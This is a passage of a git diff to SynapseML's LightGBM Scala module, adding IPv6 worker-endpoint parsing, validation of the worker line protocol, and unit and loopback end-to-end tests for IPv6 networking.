IPv6 host has to be + // bracketed here or peers would read its trailing group as the port. + def networkInfoString: String = WorkerEndpoint.wireString(message.taskHost, message.localListenPort) } // Spark can retry a task report within the same stage attempt. Keeping one connection per diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkTopologyInfo.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkTopologyInfo.scala new file mode 100644 index 00000000000..3168a68411b --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkTopologyInfo.scala @@ -0,0 +1,102 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import java.net.Socket + +case class TaskMessageInfo(status: String, + taskHost: String, + localListenPort: Int, + partitionId: Int, + executorId: String) { + def this(status: String) = this(status, "", -1, -1, "") // Constructor for general messages, not Task-connected + + val isForTraining: Boolean = status == LightGBMConstants.EnabledTask + val isForLoadOnly: Boolean = status == LightGBMConstants.IgnoreStatus + val isFinished: Boolean = status == LightGBMConstants.FinishedStatus + + // Format all the information as a delimited string to send to driver + override def toString: String = s"$status:$taskHost:$localListenPort:$partitionId:$executorId" +} + +case class NetworkTopologyInfo(lightgbmNetworkString: String, + executorPartitionIdList: Array[Int], + localListenPort: Int) { + @transient private var portReservation: Option[Socket] = None + @transient private var networkBridge: Option[LightGBMNetworkBridge] = None + @transient private var advertisedHost: String = "" + + private def currentPortReservation: Option[Socket] = Option(portReservation).flatten + + private def currentNetworkBridge: Option[LightGBMNetworkBridge] = Option(networkBridge).flatten + + /** The endpoint this task advertised to the driver, which is also its entry in the machine list. + * + * This is task local state rather than a constructor field, so the case class keeps the shape + * every existing caller, extractor, and serialized form depends on. + */ + private[lightgbm] def taskHost: String = Option(advertisedHost).getOrElse("") + + private[lightgbm] def withAdvertisedHost(host: String): NetworkTopologyInfo = synchronized { + advertisedHost = Option(host).getOrElse("") + this + } + + private[lightgbm] def hasPortReservation: Boolean = synchronized { + currentPortReservation.nonEmpty + } + + private[lightgbm] def retainPortReservation(reservation: Socket): NetworkTopologyInfo = synchronized { + require(!reservation.isClosed, "Cannot retain a closed port reservation") + require(reservation.isBound, "Cannot retain an unbound port reservation") + require(reservation.getLocalPort == localListenPort, + s"Port reservation ${reservation.getLocalPort} does not match topology port $localListenPort") + require(currentPortReservation.isEmpty, s"Port $localListenPort already has a reservation") + portReservation = Option(reservation) + this + } + + /** Keep an IPv6 transport bridge alive for as long as the native network uses it. */ + private[lightgbm] def retainNetworkBridge(bridge: LightGBMNetworkBridge): NetworkTopologyInfo = synchronized { + require(currentNetworkBridge.isEmpty, "This task already has a LightGBM network bridge") + networkBridge = Option(bridge) + this + } + + private[lightgbm] def hasNetworkBridge: Boolean = synchronized { + currentNetworkBridge.nonEmpty + } + + /** Release the temporary JVM reservation immediately before LightGBM binds the same port. + * + * The operation is idempotent so final cleanup can safely call it after any success or failure path. + */ + private[lightgbm] def releasePortReservation(): Unit = synchronized { + currentPortReservation.foreach { reservation => + try { + NetworkManager.closeSocketWithRetry(reservation) + } finally { + // Keep an open socket reachable for a later final-cleanup attempt. + if (reservation.isClosed) portReservation = None + } + } + } + + /** Tear down the IPv6 transport bridge, if this task needed one. Idempotent. */ + private[lightgbm] def releaseNetworkBridge(): Unit = synchronized { + currentNetworkBridge.foreach { bridge => + try { + bridge.close() + } finally { + networkBridge = None + } + } + } + + /** Release every network resource this task owns, whichever transport it ended up using. */ + private[lightgbm] def releaseNetworkResources(): Unit = { + NetworkManagerSocketSupport.withCleanupPreservingPrimary(releaseNetworkBridge())(releasePortReservation()) + } +} + diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerEndpoint.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerEndpoint.scala new file mode 100644 index 00000000000..31e3dd757bb --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerEndpoint.scala @@ -0,0 +1,208 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import java.net.{InetAddress, NetworkInterface, SocketException, UnknownHostException} + +private[lightgbm] final case class WorkerEndpoint(host: String, port: Int) { + /** Whether the host is an IPv6 literal, which has to be bracketed before a ':' port separator. */ + def isIpv6Literal: Boolean = WorkerEndpoint.isIpv6Host(host) + + /** The zone identifier of a scoped IPv6 literal, if it carries one. */ + def zoneId: Option[String] = { + val separator = host.indexOf('%') + if (separator < 0) None else Some(host.substring(separator + 1)) + } + + /** Whether the zone identifier is a numeric interface index, which is local to one machine. */ + def hasNumericZone: Boolean = zoneId.exists(zone => zone.nonEmpty && zone.forall(_.isDigit)) + + /** The address without its zone identifier. */ + def address: String = { + val separator = host.indexOf('%') + if (separator < 0) host else host.substring(0, separator) + } + + /** The unambiguous wire form of this endpoint. */ + def wireString: String = WorkerEndpoint.wireString(host, port) +} + +/** Parses the worker addresses exchanged by the LightGBM network handshake. */ +private[lightgbm] object WorkerEndpoint { + private val EndpointPreviewLimit = 200 + private val MinNetworkPort = 1 + + /** Whether a host is an IPv6 literal. Hostnames and IPv4 literals never contain a ':'. */ + def isIpv6Host(host: String): Boolean = Option(host).exists(_.contains(":")) + + /** Replace a numeric IPv6 scope with the interface name it stands for on this machine. + * + * A numeric scope is an interface index, which is only meaningful on the machine that produced + * it, so it must never be published to peers. An interface name survives the trip whenever the + * cluster names its interfaces consistently, which is the only case where a link-local address + * can work at all. Anything else is returned unchanged. + */ + def normalizeHost(host: String): String = { + val endpoint = WorkerEndpoint(Option(host).getOrElse(""), 1) + endpoint.zoneId.filter(zone => zone.nonEmpty && zone.forall(_.isDigit)).flatMap { zone => + try { + Option(NetworkInterface.getByIndex(zone.toInt)).map(named => s"${endpoint.address}%${named.getName}") + } catch { + case _: SocketException => None + case _: IllegalArgumentException => None + } + }.getOrElse(host) + } + + /** Bracket an IPv6 literal so a ':' port separator stays unambiguous. Other hosts are unchanged. */ + def wireHost(host: String): String = + if (isIpv6Host(host) && !host.startsWith("[")) s"[$host]" else host + + /** Render an endpoint in the wire form every LightGBM component parses. + * + * The result is parsed back before it is returned, so a host carrying a control character, a + * delimiter, or an unbalanced bracket fails here instead of corrupting the line protocol or the + * comma-delimited machine list it would have been written into. + */ + def wireString(host: String, port: Int): String = { + val endpoint = s"${wireHost(host)}:$port" + parse(endpoint) + endpoint + } + + /** Parse the first (main) address from a comma-delimited LightGBM machine list. */ + def parseFirst(nodes: String): WorkerEndpoint = { + val nodeList = Option(nodes).getOrElse(invalid(nodes, "network node list is null")) + val firstSeparator = nodeList.indexOf(',') + parse(if (firstSeparator < 0) nodeList else nodeList.substring(0, firstSeparator)) + } + + /** Parse one endpoint without resolving or rewriting its host text. */ + def parse(endpoint: String): WorkerEndpoint = { + val value = Option(endpoint).getOrElse(invalid(endpoint, "endpoint is null")) + if (value.isEmpty) invalid(value, "endpoint is empty") + + val (host, portText, bracketed) = + if (value.startsWith("[")) splitBracketed(value) else splitUnbracketed(value) + validateHost(host, value, bracketed) + WorkerEndpoint(host, parsePort(portText, value)) + } + + private def splitBracketed(endpoint: String): (String, String, Boolean) = { + val closingBracket = endpoint.indexOf(']') + if (closingBracket < 0) invalid(endpoint, "bracketed IPv6 host is missing its closing ']'") + val suffix = endpoint.substring(closingBracket + 1) + if (suffix.isEmpty) invalid(endpoint, "bracketed IPv6 host is missing its port") + if (!suffix.startsWith(":")) { + invalid(endpoint, "bracketed IPv6 host must be followed by a ':' port separator") + } + (endpoint.substring(1, closingBracket), suffix.substring(1), true) + } + + private def splitUnbracketed(endpoint: String): (String, String, Boolean) = { + if (endpoint.exists(character => character == '[' || character == ']')) { + invalid(endpoint, "IPv6 brackets are unbalanced") + } + val portSeparator = endpoint.lastIndexOf(':') + if (portSeparator < 0) invalid(endpoint, "missing ':' port separator") + val host = endpoint.substring(0, portSeparator) + if (host.contains(":") && isValidIpv6Literal(endpoint)) { + invalid(endpoint, "bare IPv6 endpoint is ambiguous; use the unambiguous [IPv6]:port form") + } + (host, endpoint.substring(portSeparator + 1), false) + } + + private def validateHost(host: String, endpoint: String, bracketed: Boolean): Unit = { + if (host.isEmpty) invalid(endpoint, "host is empty") + if (host.exists(isInvalidHostCharacter)) { + invalid(endpoint, "host contains whitespace, control characters, or an endpoint delimiter") + } + + val isIpv6Literal = host.contains(":") + if (bracketed && !isIpv6Literal) { + invalid(endpoint, "brackets are only valid around an IPv6 literal") + } + if (!isIpv6Literal && host.contains("%")) { + invalid(endpoint, "a zone identifier is only valid on an IPv6 literal") + } + if (isIpv6Literal) validateIpv6Literal(host, endpoint) + } + + private def isInvalidHostCharacter(character: Char): Boolean = { + Character.isWhitespace(character) || Character.isISOControl(character) || + character == '[' || character == ']' || character == ',' + } + + private def validateIpv6Literal(host: String, endpoint: String): Unit = { + val addressParts = host.split("%", -1) + if (addressParts.length > 2) invalid(endpoint, "IPv6 zone identifier is malformed") + if (addressParts.length == 2) validateZone(addressParts(1), endpoint) + if (!canParseIpv6Address(addressParts(0))) invalid(endpoint, "host is not a valid IPv6 literal") + } + + private def isValidIpv6Literal(host: String): Boolean = { + val addressParts = host.split("%", -1) + addressParts.length <= 2 && addressParts(0).contains(":") && + (addressParts.length == 1 || isValidZone(addressParts(1))) && canParseIpv6Address(addressParts(0)) + } + + private def canParseIpv6Address(address: String): Boolean = { + try { + // A colon-bearing literal is parsed locally by the JDK and never triggers a hostname lookup. + InetAddress.getByName(address) + true + } catch { + case _: UnknownHostException => false + } + } + + private def validateZone(zone: String, endpoint: String): Unit = { + if (zone.isEmpty) invalid(endpoint, "IPv6 zone identifier is empty") + if (!isValidZone(zone)) { + invalid(endpoint, "IPv6 zone identifier contains whitespace, control characters, or a delimiter") + } + } + + private def isValidZone(zone: String): Boolean = zone.nonEmpty && !zone.exists(isInvalidZoneCharacter) + + private def isInvalidZoneCharacter(character: Char): Boolean = { + Character.isWhitespace(character) || Character.isISOControl(character) || + character == ':' || character == '[' || character == ']' || character == ',' || character == '%' + } + + private def parsePort(portText: String, endpoint: String): Int = { + if (portText.isEmpty) invalid(endpoint, "port is empty") + if (!portText.forall(character => character >= '0' && character <= '9')) { + invalid(endpoint, "port is not a decimal integer") + } + val port = try { + portText.toInt + } catch { + case _: NumberFormatException => invalid(endpoint, "port is too large") + } + if (port < MinNetworkPort || port > LightGBMConstants.MaxPort) { + invalid(endpoint, s"port is outside the valid range $MinNetworkPort-${LightGBMConstants.MaxPort}") + } + port + } + + private[lightgbm] def preview(endpoint: String): String = { + val escaped = Option(endpoint).getOrElse("").flatMap { + case '\r' => "\\r" + case '\n' => "\\n" + case '\t' => "\\t" + case character if Character.isISOControl(character) => f"\\u${character.toInt}%04x" + case character => character.toString + } + val preview = if (escaped.length <= EndpointPreviewLimit) escaped else escaped.take(EndpointPreviewLimit) + "..." + s"'$preview'" + } + + private def invalid(endpoint: String, reason: String): Nothing = { + throw new IllegalArgumentException( + s"Invalid LightGBM worker endpoint ${preview(endpoint)}: $reason. " + + s"Expected hostname:port, IPv4:port, [IPv6]:port, or bare IPv6:port with a decimal port " + + s"between $MinNetworkPort and ${LightGBMConstants.MaxPort}") + } +} diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala index 9ac8be8fb11..996e4d393e5 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala @@ -5,6 +5,8 @@ package com.microsoft.azure.synapse.ml.lightgbm import java.io.IOException +import scala.util.Try + /** * The line protocol tasks use to report themselves to the driver while the LightGBM network * topology is being assembled. @@ -36,31 +38,67 @@ private[lightgbm] object WorkerMessage { if (message == null) { throw new IOException("Worker closed the connection before sending a status message") } - val components = message.split(":") + val components = message.split(":", -1) val status = components(0) if (status == LightGBMConstants.FinishedStatus) { WorkerMessage(status, "", -1, -1, "", parseIntOrDefault(components, 1, 0), parseOptionalInt(components, 2)) } else { - if (components.length != TaskMessageFieldCount && components.length != TaskMessageFieldCountWithStageAttempt) { - throw new Exception(s"Unexpected message: $message") + val currentMessage = parseTaskMessage(components, hasStageAttempt = true) + val legacyMessage = parseTaskMessage(components, hasStageAttempt = false) + (currentMessage, legacyMessage) match { + case (Some(current), Some(_)) if components.length > 1 && components(1).startsWith("[") => current + // An unbracketed IPv6 message that fits both layouts predates the stage-attempt suffix. + case (Some(_), Some(legacy)) => legacy + case (Some(current), None) => current + case (None, Some(legacy)) => legacy + case _ => throw new IllegalArgumentException( + s"Unexpected worker message: expected status:host:port:partitionId:executorId[:stageAttemptNumber], " + + s"but received ${WorkerEndpoint.preview(message)}") } + } + } + + private def parseTaskMessage(components: Array[String], hasStageAttempt: Boolean): Option[WorkerMessage] = { + val suffixFieldCount = if (hasStageAttempt) { + TaskMessageFieldCountWithStageAttempt - 2 + } else { + TaskMessageFieldCount - 2 + } + val portIndex = components.length - suffixFieldCount + if (portIndex <= 1) { + None + } else { + val host = components.slice(1, portIndex).mkString(":") + val portText = components(portIndex) + val partitionText = components(portIndex + 1) + val executorId = components(portIndex + 2) + val stageAttemptText = if (hasStageAttempt) Some(components(portIndex + 3)) else None - WorkerMessage(status, components(1), components(2).toInt, components(3).toInt, components(4), - parseIntOrDefault(components, TaskMessageFieldCount, 0)) + val endpointText = if (host.contains(":") && !host.startsWith("[")) s"[$host]:$portText" else s"$host:$portText" + for { + endpoint <- Try(WorkerEndpoint.parse(endpointText)).toOption + partitionId <- Try(partitionText.toInt).toOption + stageAttemptNumber <- stageAttemptText.map(value => Try(value.toInt).toOption).getOrElse(Some(0)) + if executorId.nonEmpty && stageAttemptNumber >= 0 + } yield WorkerMessage(components(0), endpoint.host, endpoint.port, partitionId, executorId, stageAttemptNumber) } } - def format(message: TaskMessageInfo, stageAttemptNumber: Int): String = - s"${message.toString}:$stageAttemptNumber" + def format(message: TaskMessageInfo, stageAttemptNumber: Int): String = { + // Validated bracketing keeps an IPv6 host unambiguous and keeps a host that carries a control + // character or a delimiter out of the line protocol entirely. + val endpoint = WorkerEndpoint.wireString(message.taskHost, message.localListenPort) + s"${message.status}:$endpoint:${message.partitionId}:${message.executorId}:" + stageAttemptNumber + } def formatFinished(stageAttemptNumber: Int, barrierTaskCount: Int): String = s"${LightGBMConstants.FinishedStatus}:$stageAttemptNumber:$barrierTaskCount" private def parseIntOrDefault(components: Array[String], index: Int, default: Int): Int = - if (components.length > index) components(index).toInt else default + if (components.length > index && components(index).nonEmpty) components(index).toInt else default private def parseOptionalInt(components: Array[String], index: Int): Option[Int] = - if (components.length > index) Some(components(index).toInt) else None + if (components.length > index && components(index).nonEmpty) Some(components(index).toInt) else None } diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala index 7635d6b5919..87315c9e6cd 100644 --- a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala @@ -3,7 +3,7 @@ package com.microsoft.azure.synapse.ml.lightgbm.split1 -import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, NetworkManager, TaskMessageInfo} +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, NetworkManager, TaskMessageInfo, WorkerMessage} import org.scalatest.funsuite.AnyFunSuite import java.io.{BufferedReader, BufferedWriter, IOException, InputStreamReader, OutputStreamWriter} @@ -351,6 +351,54 @@ class DriverSocketRetrySuite extends AnyFunSuite { assert(!constructorArities.contains(6)) } + test("Worker status parsing preserves IPv6 hosts in current and legacy messages") { + val hosts = Seq("2001:db8::1", "2001:db8:0:1:2:3:4:5", "fe80::a%3") + hosts.foreach { taskHost => + val message = TaskMessageInfo( + LightGBMConstants.EnabledTask, + taskHost, + LightGBMConstants.DefaultLocalListenPort, + 3, + "executor-1") + assert(NetworkManager.parseWorkerMessage(s"${message.toString}:7") == message) + } + + val legacyMessage = TaskMessageInfo( + LightGBMConstants.EnabledTask, + "2001:db8::1", + LightGBMConstants.DefaultLocalListenPort, + 3, + "7") + assert(NetworkManager.parseWorkerMessage(legacyMessage.toString) == legacyMessage) + + val ambiguousLegacyMessage = legacyMessage.copy(taskHost = "2001:db8::1:10") + assert(NetworkManager.parseWorkerMessage(ambiguousLegacyMessage.toString) == ambiguousLegacyMessage) + + val lowPortCurrentMessage = legacyMessage.copy(localListenPort = 80, executorId = "executor-1") + assert(NetworkManager.parseWorkerMessage(WorkerMessage.format(lowPortCurrentMessage, 7)) == lowPortCurrentMessage) + } + + test("Finished worker messages tolerate omitted trailing fields") { + val missingBarrierCount = WorkerMessage.parse(s"${LightGBMConstants.FinishedStatus}:7:") + assert(missingBarrierCount.stageAttemptNumber == 7) + assert(missingBarrierCount.barrierTaskCount.isEmpty) + + val missingSuffix = WorkerMessage.parse(s"${LightGBMConstants.FinishedStatus}::") + assert(missingSuffix.stageAttemptNumber == 0) + assert(missingSuffix.barrierTaskCount.isEmpty) + } + + test("Malformed worker messages escape control characters in errors") { + val nul = 0.toChar + val failure = intercept[IllegalArgumentException] { + NetworkManager.parseWorkerMessage(s"enabledTask:host:not-a-port:3:executor-1\r${nul}malformed") + } + assert(failure.getMessage.contains("\\r")) + assert(failure.getMessage.contains("\\u0000")) + assert(!failure.getMessage.contains("\r")) + assert(!failure.getMessage.contains(nul)) + } + test("A worker that disconnects before sending a message reports the disconnect, not a NullPointerException") { val failure = intercept[IOException](NetworkManager.parseWorkerMessage(null)) //scalastyle:ignore null assert(failure.getMessage.contains("closed the connection before sending a status message")) @@ -366,6 +414,7 @@ class DriverSocketRetrySuite extends AnyFunSuite { // This is what executeTraining now does in its finally block when partition tasks fail. manager.closeConnections() + manager.waitForNetworkCommunicationsDone() val retriedSocket = new Socket() try { @@ -375,7 +424,6 @@ class DriverSocketRetrySuite extends AnyFunSuite { } finally { retriedSocket.close() } - manager.waitForNetworkCommunicationsDone() } finally { manager.closeConnections() closeTasks(task) diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMIpv6NetworkE2ESuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMIpv6NetworkE2ESuite.scala new file mode 100644 index 00000000000..2dbab5d0a02 --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMIpv6NetworkE2ESuite.scala @@ -0,0 +1,398 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, LightGBMNetworkBridge, LightGBMUtils, + NetworkManager, NetworkTopologyInfo} +import com.microsoft.ml.lightgbm.{lightgbmlib, lightgbmlibConstants} +import org.scalatest.BeforeAndAfterEach +import org.scalatest.funsuite.AnyFunSuite +import org.slf4j.LoggerFactory + +import java.io.DataInputStream +import java.net.{InetAddress, InetSocketAddress, NetworkInterface, ServerSocket, Socket} +import java.nio.{ByteBuffer, ByteOrder} +import java.util.concurrent.atomic.{AtomicInteger, AtomicReference} +import java.util.concurrent.{ConcurrentLinkedQueue, CountDownLatch, Executors, ThreadFactory, TimeUnit} +import scala.annotation.tailrec +import scala.collection.JavaConverters._ +import scala.util.Try + +/** Drives the real native LightGBM network over IPv6. + * + * The native network state is thread local, so one JVM can hold several LightGBM ranks as long as + * each one stays on its own thread. These tests use that to run a real two worker training round + * over IPv6, and to check the single rank link behavior against simulated peers. + */ +class LightGBMIpv6NetworkE2ESuite extends AnyFunSuite with BeforeAndAfterEach { + + private val log = LoggerFactory.getLogger(classOf[LightGBMIpv6NetworkE2ESuite]) + private val ipv6Loopback = "::1" + private val ipv4Loopback = "127.0.0.1" + private val socketTimeoutMillis = 30000L + private val connectAttemptTimeoutMillis = 1000 + private val nativeWorkTimeoutMillis = 180000L + private val retryIntervalMillis = 10L + private val rankSize = 4 + private val trainingRows = 64 + private val trainingCols = 2 + private val trainingIterations = 5 + private val peerLabelOffset = 100.0f + private val modelBufferLength = 1L << 20 + private val closeables = new ConcurrentLinkedQueue[AutoCloseable]() + + private val peerExecutor = Executors.newCachedThreadPool(new ThreadFactory { + override def newThread(runnable: Runnable): Thread = { + val thread = new Thread(runnable, "lightgbm-ipv6-e2e-peer") + thread.setDaemon(true) + thread + } + }) + + override def beforeEach(): Unit = { + super.beforeEach() + LightGBMUtils.initializeNativeLibrary() + } + + override def afterEach(): Unit = { + closeables.asScala.foreach(resource => Try(resource.close())) + closeables.clear() + super.afterEach() + } + + private def register[T <: AutoCloseable](resource: T): T = { + closeables.add(resource) + resource + } + + private def ipv6LoopbackAvailable: Boolean = Try { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + true + } finally { + probe.close() + } + }.getOrElse(false) + + /** An address the native library also finds in its own local address list, on every platform. */ + private def localIpv4Host: String = { + Try(NetworkInterface.getNetworkInterfaces.asScala + .filter(candidate => Try(candidate.isUp).getOrElse(false)) + .flatMap(_.getInetAddresses.asScala) + .find(address => address.isSiteLocalAddress && address.getAddress.length == 4) + .map(_.getHostAddress)).toOption.flatten.getOrElse(ipv4Loopback) + } + + private def freePort(host: String): Int = { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(host), 0)) + probe.getLocalPort + } finally { + probe.close() + } + } + + private def listenOn(host: String): ServerSocket = { + val listener = new ServerSocket() + listener.bind(new InetSocketAddress(InetAddress.getByName(host), 0)) + listener.setSoTimeout(socketTimeoutMillis.toInt) + register(listener) + } + + private def rankBytes(rank: Int): Array[Byte] = + ByteBuffer.allocate(rankSize).order(ByteOrder.nativeOrder()).putInt(rank).array() + + private def readRank(socket: Socket): Int = { + val buffer = new Array[Byte](rankSize) + new DataInputStream(socket.getInputStream).readFully(buffer) + ByteBuffer.wrap(buffer).order(ByteOrder.nativeOrder()).getInt + } + + /** Stand in for a machine LightGBM expects to dial this task, which every lower rank does. */ + private def startDialingPeer(host: String, port: Int, rank: Int): CountDownLatch = { + val linked = new CountDownLatch(1) + peerExecutor.execute(new Runnable { + override def run(): Unit = { + val deadline = System.currentTimeMillis() + socketTimeoutMillis + + @tailrec + def dial(): Unit = { + val socket = new Socket() + val connected = try { + socket.connect(new InetSocketAddress(InetAddress.getByName(host), port), connectAttemptTimeoutMillis) + register(socket) + socket.getOutputStream.write(rankBytes(rank)) + socket.getOutputStream.flush() + true + } catch { + case _: Exception => + Try(socket.close()) + false + } + if (connected) { + linked.countDown() + // Hold the link open: LightGBM keeps every peer socket for the whole training run. + Thread.sleep(socketTimeoutMillis) + } else if (System.currentTimeMillis() < deadline) { + Thread.sleep(retryIntervalMillis) + dial() + } + } + + dial() + } + }) + linked + } + + /** Stand in for a machine LightGBM dials, which every higher rank is. */ + private def startAcceptingPeer(listener: ServerSocket, receivedRank: AtomicInteger): CountDownLatch = { + val linked = new CountDownLatch(1) + peerExecutor.execute(new Runnable { + override def run(): Unit = { + val socket = register(listener.accept()) + receivedRank.set(readRank(socket)) + linked.countDown() + Thread.sleep(socketTimeoutMillis) + } + }) + linked + } + + private def nativeNetworkInit(machineList: String, localListenPort: Int, machineCount: Int): Int = + lightgbmlib.LGBM_NetworkInit(machineList, localListenPort, LightGBMConstants.DefaultListenTimeout, machineCount) + + /** Run native work on its own thread, because LightGBM keeps its network state thread local. */ + private def onNativeThread[T](name: String)(work: => T): () => T = { + val outcome = new AtomicReference[Either[Throwable, T]]() + val done = new CountDownLatch(1) + val thread = new Thread(new Runnable { + override def run(): Unit = { + try { + outcome.set(Right(work)) + } catch { + case failure: Throwable => outcome.set(Left(failure)) + } finally { + done.countDown() + } + } + }, name) + thread.setDaemon(true) + thread.start() + () => { + assert(done.await(nativeWorkTimeoutMillis, TimeUnit.MILLISECONDS), s"$name never finished") + outcome.get() match { + case Right(result) => result + case Left(failure) => throw failure + } + } + } + + private def await[T](pending: () => T): T = pending() + + /** Initialize the production network path, run the body, and always release the native network. */ + private def withNativeNetwork[T](topology: NetworkTopologyInfo, machineCount: Int)(body: => T): T = { + var initialized = false + try { + NetworkManager.initNativeNetwork(topology, machineCount, log) + initialized = true + body + } finally { + if (initialized) lightgbmlib.LGBM_NetworkFree() + topology.releaseNetworkResources() + } + } + + /** Train a tiny model on this rank's shard, which allreduces with every peer on every iteration. */ + private def trainShard(rank: Int, numMachines: Int): String = { + val features = lightgbmlib.new_doubleArray((trainingRows * trainingCols).toLong) + val labels = lightgbmlib.new_floatArray(trainingRows.toLong) + (0 until trainingRows).foreach { row => + lightgbmlib.doubleArray_setitem(features, (row * trainingCols).toLong, row.toDouble) + lightgbmlib.doubleArray_setitem(features, (row * trainingCols + 1).toLong, (row % 8).toDouble) + // Each rank holds a clearly different slice, so a model built from both is easy to tell apart. + lightgbmlib.floatArray_setitem(labels, row.toLong, row.toFloat + rank * peerLabelOffset) + } + + val datasetParams = "max_bin=15 min_data_in_bin=1 min_data_in_leaf=1 verbosity=-1" + val datasetOut = lightgbmlib.voidpp_handle() + LightGBMUtils.validate(lightgbmlib.LGBM_DatasetCreateFromMat( + lightgbmlib.double_to_voidp_ptr(features), + lightgbmlibConstants.C_API_DTYPE_FLOAT64, + trainingRows, + trainingCols, + 1, + datasetParams, + None.orNull, + datasetOut), "Dataset create") + val dataset = lightgbmlib.voidpp_value(datasetOut) + LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSetField(dataset, "label", + lightgbmlib.float_to_voidp_ptr(labels), trainingRows, lightgbmlibConstants.C_API_DTYPE_FLOAT32), + "Dataset set label") + + val boosterOut = lightgbmlib.voidpp_handle() + LightGBMUtils.validate(lightgbmlib.LGBM_BoosterCreate(dataset, + s"objective=regression tree_learner=data num_machines=$numMachines num_leaves=4 learning_rate=0.5 " + + s"$datasetParams num_threads=1", boosterOut), "Booster create") + val booster = lightgbmlib.voidpp_value(boosterOut) + val isFinished = lightgbmlib.new_intp() + val modelLength = lightgbmlib.new_int64_tp() + try { + (0 until trainingIterations).foreach(_ => + LightGBMUtils.validate(lightgbmlib.LGBM_BoosterUpdateOneIter(booster, isFinished), "Update one iteration")) + lightgbmlib.LGBM_BoosterSaveModelToStringSWIG(booster, 0, -1, 0, modelBufferLength, modelLength) + } finally { + lightgbmlib.delete_intp(isFinished) + lightgbmlib.delete_int64_tp(modelLength) + lightgbmlib.LGBM_BoosterFree(booster) + lightgbmlib.LGBM_DatasetFree(dataset) + lightgbmlib.delete_doubleArray(features) + lightgbmlib.delete_floatArray(labels) + } + } + + private def leafValues(model: String): Seq[Double] = { + model.split("\n").filter(_.startsWith("leaf_value=")).flatMap(line => + line.stripPrefix("leaf_value=").trim.split("\\s+").filter(_.nonEmpty).map(_.toDouble)).toSeq + } + + test("Without a bridge the native library cannot form a network from any IPv6 machine list") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val selfPort = freePort(ipv6Loopback) + val peerPort = freePort(ipv6Loopback) + // The bracketed form is what an IPv6 aware driver publishes. + val bracketed = nativeNetworkInit(s"[$ipv6Loopback]:$selfPort,[$ipv6Loopback]:$peerPort", selfPort, 2) + assert(bracketed == -1, "The native library unexpectedly accepted a bracketed IPv6 machine list") + assert(lightgbmlib.LGBM_GetLastError().contains("Cannot find any ip and port")) + + // The bare form is what the driver published before this change: the native parser splits it on + // ':' and keeps a meaningless host instead of rejecting the entry. + val bare = nativeNetworkInit(s"$ipv6Loopback:$selfPort,$ipv6Loopback:$peerPort", selfPort, 2) + assert(bare == -1, "The native library unexpectedly accepted a bare IPv6 machine list") + assert(lightgbmlib.LGBM_GetLastError().contains("doesn't contain the local machine")) + + // A routable IPv6 address fares no better, so this is not a loopback quirk. + val routable = nativeNetworkInit(s"[2001:db8::1]:$selfPort,[2001:db8::2]:$peerPort", selfPort, 2) + assert(routable == -1, "The native library unexpectedly accepted a routable IPv6 machine list") + } + + test("An IPv4 topology still initializes natively with no bridge and no rewriting") { + val host = localIpv4Host + val selfPort = freePort(ipv4Loopback) + val peerListener = listenOn(ipv4Loopback) + val receivedRank = new AtomicInteger(-1) + val peerLinked = startAcceptingPeer(peerListener, receivedRank) + + val machineList = s"$host:$selfPort,$ipv4Loopback:${peerListener.getLocalPort}" + val topology = NetworkTopologyInfo(machineList, Array(0), selfPort).withAdvertisedHost(host) + await(onNativeThread("lightgbm-ipv4-rank") { + withNativeNetwork(topology, 2) { + assert(!topology.hasNetworkBridge, "An IPv4 topology has to reach the native library untouched") + assert(peerLinked.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The native library never linked to its IPv4 peer") + assert(receivedRank.get() == 0, "The native library announced the wrong rank to its peer") + } + }) + } + + test("A LightGBM worker links to IPv6 peers in both directions through the bridge") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + // Rank 1 of 3 is the only rank that both accepts a link (from rank 0) and dials one (to rank 2). + val advertisedPort = freePort(ipv6Loopback) + val lowerRankPort = freePort(ipv6Loopback) + val higherRankListener = listenOn(ipv6Loopback) + val receivedRank = new AtomicInteger(-1) + val 